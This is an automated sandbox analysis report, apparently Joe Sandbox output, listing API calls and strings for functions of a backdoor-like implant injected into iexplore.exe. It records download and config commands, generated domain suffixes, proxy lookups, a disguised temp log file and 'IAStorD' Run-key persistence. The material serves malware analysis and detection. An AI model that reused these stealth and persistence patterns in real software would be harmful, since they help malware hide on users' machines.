Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

Part of subcall function 0051A476: _errno.MSVCRT ref: 0051A48F
Part of subcall function 0051A476: memcpy.MSVCRT ref: 0051A4BB
Part of subcall function 0051A476: memset.MSVCRT ref: 0051A4CC
Part of subcall function 0051A476: _errno.MSVCRT ref: 0051A4DE

Part of subcall function 0051476E: rand.MSVCRT ref: 0051479C
Part of subcall function 0051476E: ??2@YAPAXI@Z.MSVCRT ref: 005147B4
Part of subcall function 0051476E: ??3@YAXPAX@Z.MSVCRT ref: 0051481E
Part of subcall function 0051476E: ??3@YAXPAX@Z.MSVCRT ref: 00514862

??3@YAXPAX@Z.MSVCRT ref: 00515E78

Strings

CreateFile Error! - %d, xrefs: 00515DDA
Send OP_DOWNLOAD_END Data Failed!, xrefs: 00515E5C
Send OP_DOWNLOAD_START Data Failed!, xrefs: 00515DC7

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 005126EC, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 100

APIs

rand.MSVCRT ref: 00512725
memset.MSVCRT ref: 0051274A
rand.MSVCRT ref: 0051275D

Part of subcall function 005122D3: memset.MSVCRT ref: 00512330
Part of subcall function 005122D3: memset.MSVCRT ref: 0051235A
Part of subcall function 005122D3: rand.MSVCRT ref: 00512375
Part of subcall function 005122D3: ___swprintf_l.LIBCMT ref: 0051238F

Part of subcall function 0051A9BB: _errno.MSVCRT ref: 0051A9D3
Part of subcall function 0051A9BB: _errno.MSVCRT ref: 0051AA1C

rand.MSVCRT ref: 0051279E
rand.MSVCRT ref: 005127C3

Part of subcall function 0051A93E: _errno.MSVCRT ref: 0051A956
Part of subcall function 0051A93E: _errno.MSVCRT ref: 0051A9AD

___swprintf_l.LIBCMT ref: 005127ED

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

.org, xrefs: 00512717
.info, xrefs: 0051271E
.com, xrefs: 00512709
.net, xrefs: 00512710

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 004F382C, Relevance: 16.6, APIs: 11, Instructions: 124sleep

APIs

Sleep.KERNEL32(000003E8), ref: 004F388F
InterlockedCompareExchange.KERNEL32(0050264C,?,00000000), ref: 004F3899
_amsg_exit.MSVCRT ref: 004F38B6
__initterm_e.LIBCMT ref: 004F38D1
_initterm.MSVCRT ref: 004F38EA
InterlockedExchange.KERNEL32(0050264C,00000000), ref: 004F3900
Sleep.KERNEL32(000003E8), ref: 004F3937
InterlockedCompareExchange.KERNEL32(0050264C,00000001,00000000), ref: 004F3942
_amsg_exit.MSVCRT ref: 004F3954
free.MSVCRT(00832388), ref: 004F3981
InterlockedExchange.KERNEL32(0050264C,00000000), ref: 004F39A3

Memory Dump Source

Source File: 00000003.00000002.773005659.004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f0000_iexplore.jbxd

Function 00511124, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 90registry

APIs

memset.MSVCRT ref: 0051115A
RegEnumKeyW.ADVAPI32(80000003,00000000,?,00000104), ref: 0051117D
wcsncmp.MSVCRT(S-1-5-21,?,00000008), ref: 00511199
wcsstr.MSVCRT ref: 005111B1
memset.MSVCRT ref: 005111CF

Part of subcall function 0051A9BB: _errno.MSVCRT ref: 0051A9D3
Part of subcall function 0051A9BB: _errno.MSVCRT ref: 0051AA1C

Part of subcall function 0051A93E: _errno.MSVCRT ref: 0051A956
Part of subcall function 0051A93E: _errno.MSVCRT ref: 0051A9AD

RegOpenKeyExW.ADVAPI32(80000003,?,00000000,00020019,?), ref: 00511206

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

S-1-5-21, xrefs: 00511194
\Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 005111E5
Classes, xrefs: 005111AB

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00515E8D, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 87filesleep

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000003,00000000,00000000), ref: 00515EBD
Sleep.KERNEL32(000003E8,?,?,?,?,?,00000000), ref: 00515ED0
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000003,00000000,00000000), ref: 00515EE6
SetFilePointer.KERNEL32(000000FF,?,00000000,00000000,?,?,?,?,?,00000000), ref: 00515F1C
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 00515F2E
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 00515F38

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 00515F50
CloseHandle.KERNEL32(000000FF), ref: 00515F6D

Part of subcall function 00515F93: ??2@YAPAXI@Z.MSVCRT ref: 00515FA9
Part of subcall function 00515F93: CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00515FC9
Part of subcall function 00515F93: GetFileSize.KERNEL32(00000000,00000000,?,?,?,00515F8B), ref: 00515FE0
Part of subcall function 00515F93: CloseHandle.KERNEL32(00515F8B), ref: 00515FEC
Part of subcall function 00515F93: memcpy.MSVCRT ref: 0051603E
Part of subcall function 00515F93: memcpy.MSVCRT ref: 00516052
Part of subcall function 00515F93: ??3@YAXPAX@Z.MSVCRT ref: 00516087

Strings

Write Download File Error!, xrefs: 00515F43

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 005122D3, Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 85

APIs

memset.MSVCRT ref: 00512330
memset.MSVCRT ref: 0051235A
rand.MSVCRT ref: 00512375
___swprintf_l.LIBCMT ref: 0051238F

Part of subcall function 0051A93E: _errno.MSVCRT ref: 0051A956
Part of subcall function 0051A93E: _errno.MSVCRT ref: 0051A9AD

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 005122FF
abcdefghijklmnopqrstuvwxyz, xrefs: 00512314
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 005122F8
0123456789, xrefs: 00512306
ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 0051230D

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00514D05, Relevance: 15.2, APIs: 6, Strings: 4, Instructions: 202

APIs

memset.MSVCRT ref: 00514D3A

Part of subcall function 0051494C: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0051496C
Part of subcall function 0051494C: ReadFile.KERNEL32(00000000,?,00000269,?,00000000), ref: 00514993
Part of subcall function 0051494C: CloseHandle.KERNEL32(00000000), ref: 0051499A
Part of subcall function 0051494C: ??2@YAPAXI@Z.MSVCRT ref: 005149A7
Part of subcall function 0051494C: ??3@YAXPAX@Z.MSVCRT ref: 005149CD

GetLastError.KERNEL32(00000001,?,00000000), ref: 00514D50
memcpy.MSVCRT ref: 00514DBE
memcpy.MSVCRT ref: 00514E2D
memcpy.MSVCRT ref: 00514E87
memcpy.MSVCRT ref: 00514ED7

Part of subcall function 0051476E: rand.MSVCRT ref: 0051479C
Part of subcall function 0051476E: ??2@YAPAXI@Z.MSVCRT ref: 005147B4
Part of subcall function 0051476E: ??3@YAXPAX@Z.MSVCRT ref: 0051481E
Part of subcall function 0051476E: ??3@YAXPAX@Z.MSVCRT ref: 00514862

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

Strings

, xrefs: 00514DD7
Get ConfigInfo Failed!, xrefs: 00514D56
Send Config Data Failed!, xrefs: 00514F41
, xrefs: 00514EA1

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 0051350A, Relevance: 15.1, APIs: 10, Instructions: 81

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000200,?,?,00000000,005152D8,00000000,?), ref: 00513524
??_U@YAPAXI@Z.MSVCRT ref: 0051353A
memset.MSVCRT ref: 00513547
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000001,00000000,005152D8,00000000,?), ref: 0051355D
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00513568
??_U@YAPAXI@Z.MSVCRT ref: 00513572
memset.MSVCRT ref: 0051357C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000), ref: 0051358D

Part of subcall function 0051A79D: _errno.MSVCRT ref: 0051A7B5
Part of subcall function 0051A79D: _errno.MSVCRT ref: 0051A7F0

??_V@YAXPAX@Z.MSVCRT ref: 005135A2
??_V@YAXPAX@Z.MSVCRT ref: 005135A8

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00515F93, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 97

APIs

??2@YAPAXI@Z.MSVCRT ref: 00515FA9
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00515FC9
GetFileSize.KERNEL32(00000000,00000000,?,?,?,00515F8B), ref: 00515FE0
CloseHandle.KERNEL32(00515F8B), ref: 00515FEC
memcpy.MSVCRT ref: 0051603E
memcpy.MSVCRT ref: 00516052

Part of subcall function 0051476E: rand.MSVCRT ref: 0051479C
Part of subcall function 0051476E: ??2@YAPAXI@Z.MSVCRT ref: 005147B4
Part of subcall function 0051476E: ??3@YAXPAX@Z.MSVCRT ref: 0051481E
Part of subcall function 0051476E: ??3@YAXPAX@Z.MSVCRT ref: 00514862

??3@YAXPAX@Z.MSVCRT ref: 00516087

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

Strings

Send OP_DOWNLOAD_END Data Failed!, xrefs: 00516077

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00513455, Relevance: 13.6, APIs: 9, Instructions: 84

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,0000C6FF,000000FF,00000000,00000000,00000008,?,0000C6FF,?,?,?,005153ED,0000C6FF,00000000), ref: 0051346E
??_U@YAPAXI@Z.MSVCRT ref: 00513484
MultiByteToWideChar.KERNEL32(00000000,00000000,0000C6FF,000000FF,00000000,00000001,?,?,?,005153ED,0000C6FF,00000000), ref: 005134A1
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,?,005153ED,0000C6FF,00000000), ref: 005134B8
??_U@YAPAXI@Z.MSVCRT ref: 005134BE
memset.MSVCRT ref: 005134C9
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,0000C6FF,00000001,00000000,00000000,?,005153ED,0000C6FF,00000000), ref: 005134E2

Part of subcall function 0051A79D: _errno.MSVCRT ref: 0051A7B5
Part of subcall function 0051A79D: _errno.MSVCRT ref: 0051A7F0

??_V@YAXPAX@Z.MSVCRT ref: 005134F5
??_V@YAXPAX@Z.MSVCRT ref: 005134FD

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00516097, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 72registry

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,0002001F,?,00000000,?,00000000), ref: 005160E2
memset.MSVCRT ref: 00516113
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000), ref: 00516136
RegDeleteValueA.ADVAPI32(?,?,?,?,00000000), ref: 0051614A
RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 00516157

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 005160B8
IAStorD, xrefs: 005160F0

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 004F5AB4, Relevance: 12.1, APIs: 8, Instructions: 137

APIs

_fileno.MSVCRT ref: 004F5ABF
_errno.MSVCRT ref: 004F5AD0
_errno.MSVCRT ref: 004F5AEC
_isatty.MSVCRT ref: 004F5B42
_errno.MSVCRT ref: 004F5B4D

Part of subcall function 004F3287: OutputDebugStringA.KERNEL32(Invalid parameter passed to C runtime function.), ref: 004F3275

_write.MSVCRT ref: 004F5B9C
_lseeki64.MSVCRT ref: 004F5BDF
_write.MSVCRT ref: 004F5C04

Memory Dump Source

Source File: 00000003.00000002.773005659.004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f0000_iexplore.jbxd

Function 0051D254, Relevance: 12.1, APIs: 8, Instructions: 137

APIs

_fileno.MSVCRT ref: 0051D25F
_errno.MSVCRT ref: 0051D270
_errno.MSVCRT ref: 0051D28C
_isatty.MSVCRT ref: 0051D2E2
_errno.MSVCRT ref: 0051D2ED

Part of subcall function 0051A441: OutputDebugStringA.KERNEL32(Invalid parameter passed to C runtime function.), ref: 0051A42F

_write.MSVCRT ref: 0051D33C
_lseeki64.MSVCRT ref: 0051D37F
_write.MSVCRT ref: 0051D3A4

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 004F3F0A, Relevance: 10.6, APIs: 7, Instructions: 97

APIs

_errno.MSVCRT ref: 004F3F4F
_errno.MSVCRT ref: 004F3FC6

Part of subcall function 004F3287: OutputDebugStringA.KERNEL32(Invalid parameter passed to C runtime function.), ref: 004F3275

wctomb.MSVCRT ref: 004F3F74
memset.MSVCRT ref: 004F3F8E
_errno.MSVCRT ref: 004F3F96
memset.MSVCRT ref: 004F3FBE
memcpy.MSVCRT ref: 004F3FDA

Part of subcall function 004F32A0: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004F3CE2
Part of subcall function 004F32A0: UnhandledExceptionFilter.KERNEL32(004F6190), ref: 004F3CED
Part of subcall function 004F32A0: GetCurrentProcess.KERNEL32(C0000409), ref: 004F3CF8
Part of subcall function 004F32A0: TerminateProcess.KERNEL32(00000000), ref: 004F3CFF

Memory Dump Source

Source File: 00000003.00000002.773005659.004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f0000_iexplore.jbxd

Function 0051B6AD, Relevance: 10.6, APIs: 7, Instructions: 97

APIs

_errno.MSVCRT ref: 0051B6F2
_errno.MSVCRT ref: 0051B769

Part of subcall function 0051A441: OutputDebugStringA.KERNEL32(Invalid parameter passed to C runtime function.), ref: 0051A42F

wctomb.MSVCRT ref: 0051B717
memset.MSVCRT ref: 0051B731
_errno.MSVCRT ref: 0051B739
memset.MSVCRT ref: 0051B761
memcpy.MSVCRT ref: 0051B77D

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00518FE7, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 92

APIs

time.MSVCRT ref: 0051900D
srand.MSVCRT ref: 00519014
??2@YAPAXI@Z.MSVCRT ref: 0051901C
rand.MSVCRT ref: 00519040

Part of subcall function 0051A476: _errno.MSVCRT ref: 0051A48F
Part of subcall function 0051A476: memcpy.MSVCRT ref: 0051A4BB
Part of subcall function 0051A476: memset.MSVCRT ref: 0051A4CC
Part of subcall function 0051A476: _errno.MSVCRT ref: 0051A4DE

??3@YAXPAX@Z.MSVCRT ref: 005190BC

Strings

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_, xrefs: 00518FF8, 00519049

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00514F64, Relevance: 9.3, APIs: 4, Strings: 2, Instructions: 251string

APIs

memset.MSVCRT ref: 00515004
memset.MSVCRT ref: 00515062
strstr.MSVCRT ref: 005150A5

Part of subcall function 0051A805: _errno.MSVCRT ref: 0051A832
Part of subcall function 0051A805: _errno.MSVCRT ref: 0051A8AC

Part of subcall function 0051A79D: _errno.MSVCRT ref: 0051A7B5
Part of subcall function 0051A79D: _errno.MSVCRT ref: 0051A7F0

Part of subcall function 005149DD: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000004,00000000,00000000), ref: 00514A11
Part of subcall function 005149DD: memcpy.MSVCRT ref: 00514A35
Part of subcall function 005149DD: ??2@YAPAXI@Z.MSVCRT ref: 00514A3C
Part of subcall function 005149DD: ??3@YAXPAX@Z.MSVCRT ref: 00514A62
Part of subcall function 005149DD: WriteFile.KERNEL32(?,?,00000269,?,00000000), ref: 00514A7D
Part of subcall function 005149DD: CloseHandle.KERNEL32(?), ref: 00514A86

GetLastError.KERNEL32(00000000,?,00000000), ref: 00515220

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

Part of subcall function 00514D05: memset.MSVCRT ref: 00514D3A
Part of subcall function 00514D05: GetLastError.KERNEL32(00000001,?,00000000), ref: 00514D50
Part of subcall function 00514D05: memcpy.MSVCRT ref: 00514DBE
Part of subcall function 00514D05: memcpy.MSVCRT ref: 00514E2D
Part of subcall function 00514D05: memcpy.MSVCRT ref: 00514E87
Part of subcall function 00514D05: memcpy.MSVCRT ref: 00514ED7

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

i, xrefs: 00515151
SetHttpClientArgs Failed! -%d, xrefs: 00515227

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 004F1C8F, Relevance: 9.1, APIs: 6, Instructions: 94

APIs

??2@YAPAXI@Z.MSVCRT ref: 004F1CAE
memset.MSVCRT ref: 004F1CBE
memcpy.MSVCRT ref: 004F1CDA
memcpy.MSVCRT ref: 004F1D0B
??3@YAXPAX@Z.MSVCRT ref: 004F1D20

Part of subcall function 004F32A0: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004F3CE2
Part of subcall function 004F32A0: UnhandledExceptionFilter.KERNEL32(004F6190), ref: 004F3CED
Part of subcall function 004F32A0: GetCurrentProcess.KERNEL32(C0000409), ref: 004F3CF8
Part of subcall function 004F32A0: TerminateProcess.KERNEL32(00000000), ref: 004F3CFF

??2@YAPAXI@Z.MSVCRT ref: 004F1D3D

Part of subcall function 004F1B6D: __EH_prolog3_GS.LIBCMT ref: 004F1B77
Part of subcall function 004F1B6D: ??2@YAPAXI@Z.MSVCRT ref: 004F1BC6
Part of subcall function 004F1B6D: memset.MSVCRT ref: 004F1BD6
Part of subcall function 004F1B6D: ??2@YAPAXI@Z.MSVCRT ref: 004F1C4A
Part of subcall function 004F1B6D: memcpy.MSVCRT ref: 004F1C63

Memory Dump Source

Source File: 00000003.00000002.773005659.004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f0000_iexplore.jbxd

Function 005190CF, Relevance: 9.1, APIs: 6, Instructions: 82

APIs

??2@YAPAXI@Z.MSVCRT ref: 0051910D
memcpy.MSVCRT ref: 0051911A
memset.MSVCRT ref: 00519127
memset.MSVCRT ref: 00519141
memcpy.MSVCRT ref: 00519159

Part of subcall function 0051A2AF: memcpy.MSVCRT ref: 0051A2F6
Part of subcall function 0051A2AF: memcpy.MSVCRT ref: 0051A322
Part of subcall function 0051A2AF: memcpy.MSVCRT ref: 0051A377

??3@YAXPAX@Z.MSVCRT ref: 005191AD

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 0051207E, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 54

APIs

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

WinHttpOpen.WINHTTP(00000000,00000003,?,00000000,00000000,?,00000000,?,00513F1F,00000000,?), ref: 005120EC

Part of subcall function 005121E5: memset.MSVCRT ref: 00512208
Part of subcall function 005121E5: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000020,?,00000020,?,?,00000000), ref: 0051221B
Part of subcall function 005121E5: wcsstr.MSVCRT ref: 0051222A
Part of subcall function 005121E5: _wtoi.MSVCRT ref: 0051223B
Part of subcall function 005121E5: WinHttpConnect.WINHTTP(?,?,00000050,00000000,?,?,00000000), ref: 00512277
Part of subcall function 005121E5: GetLastError.KERNEL32(?,?,00000000), ref: 00512284

Part of subcall function 0051129D: memset.MSVCRT ref: 00511301
Part of subcall function 0051129D: RegQueryValueExW.ADVAPI32(00000000,ProxyEnable,00000000,00000000,?,?,?,?,00000000), ref: 00511345
Part of subcall function 0051129D: RegQueryValueExW.ADVAPI32(?,ProxyServer,00000000,00000000,?,?), ref: 00511370
Part of subcall function 0051129D: RegCloseKey.ADVAPI32(?), ref: 00511378
Part of subcall function 0051129D: ___swprintf_l.LIBCMT ref: 00511398
Part of subcall function 0051129D: wcsstr.MSVCRT ref: 005113B9
Part of subcall function 0051129D: wcsstr.MSVCRT ref: 005113D3
Part of subcall function 0051129D: wcsstr.MSVCRT ref: 005113EE
Part of subcall function 0051129D: memset.MSVCRT ref: 00511412
Part of subcall function 0051129D: ___swprintf_l.LIBCMT ref: 005114C2

Strings

HTTPS, xrefs: 005120BF
HTTP, xrefs: 005120D6
